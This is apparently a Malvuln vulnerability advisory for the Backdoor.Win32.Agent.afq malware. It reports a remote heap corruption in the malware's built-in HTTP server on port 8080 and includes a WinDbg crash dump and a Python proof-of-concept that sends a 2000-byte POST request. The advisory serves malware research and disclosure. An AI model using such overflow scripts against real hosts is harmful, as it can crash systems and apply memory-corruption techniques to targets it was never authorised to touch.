Backdoor.Win32.Agent.afq malware suffers from a heap corruption vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_C.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.afq
Vulnerability: Remote Heap Corruption
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. Third-party attackers who can reach the infected host can send a 2000 byte HTTP Post request, triggering a heap corruption overwriting ECX, EDX and AX (16-bit) part of the EAX register.
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0190
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/27/2021
Memory Dump:
EAX : 00004141
EBX : 02B71208
ECX : 41414141
EDX : 41414141
EBP : 02A0FD30
ESP : 02A0FB70
ESI : 02B71210
EDI : 02B70000
EIP : 77AC2D6A ntdll.77AC2D6A
(1b1c.1048): Access violation - code c0000005 (first/second chance not available)
eax=0000f23c ebx=02781208 ecx=41414141 edx=41414141 esi=02781210 edi=02780000
eip=77ac2d6a esp=02cef1f0 ebp=02cef3b0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlpAllocateHeap+0x37a:
77ac2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????
0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe
FAULTING_IP:
ntdll!RtlpAllocateHeap+37a
77ac2d6a 8b09 mov ecx,dword ptr [ecx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77ac2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
PROCESS_NAME: Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 41414141
READ_ADDRESS: 41414141
FOLLOWUP_IP:
msvcrt!signal+95
75746f35 59 pop ecx
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001048
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 77ac16b7 to 77ac2d6a
STACK_TEXT:
02cef3b0 77ac16b7 00000078 00000080 027802d4 ntdll!RtlpAllocateHeap+0x37a
02cef400 77ac13ee 00000000 00000000 00000078 ntdll!RtlpAllocateHeapInternal+0x2b7
02cef41c 75737250 02780000 00000000 00000078 ntdll!RtlAllocateHeap+0x3e
02cef43c 757376bb 00000078 0000000b 02780dc8 msvcrt!malloc+0x90
02cef454 75746f35 00000078 96d98a3c 00401000 msvcrt!_malloc_crt+0x18
02cef494 00401099 0000000b 00000000 00000000 msvcrt!signal+0x95
WARNING: Stack unwind information not available. Following frames may be wrong.
02cef4b4 771ad820 02cef580 1d76a8f9 00000000 Backdoor_Win32_Agent_afq_853754de6b8ffbe1321a8c91aab5c232+0x1099
02cef550 77b237e1 02cef580 77af2d82 02ceffcc KERNELBASE!UnhandledExceptionFilter+0x1a0
02ceffdc 77ae4a47 ffffffff 77b09ea9 00000000 ntdll!__RtlUserThreadStart+0x3ed99
02ceffec 00000000 00402950 000000f4 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: !heap ; ~2s; .ecxr ; kb
SYMBOL_STACK_INDEX: 5
SYMBOL_NAME: msvcrt!signal+95
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: msvcrt
IMAGE_NAME: msvcrt.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141_c0000005_msvcrt.dll!signal
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_msvcrt!signal+95
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=8080
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="POST /"+"A"*2000+" HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 10000rnrn"
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Agent.afq / Remote Heap Corruption")
print("MD5: 853754de6b8ffbe1321a8c91aab5c232")
print("By Malvuln");
if __name__=="__main__":
doit()
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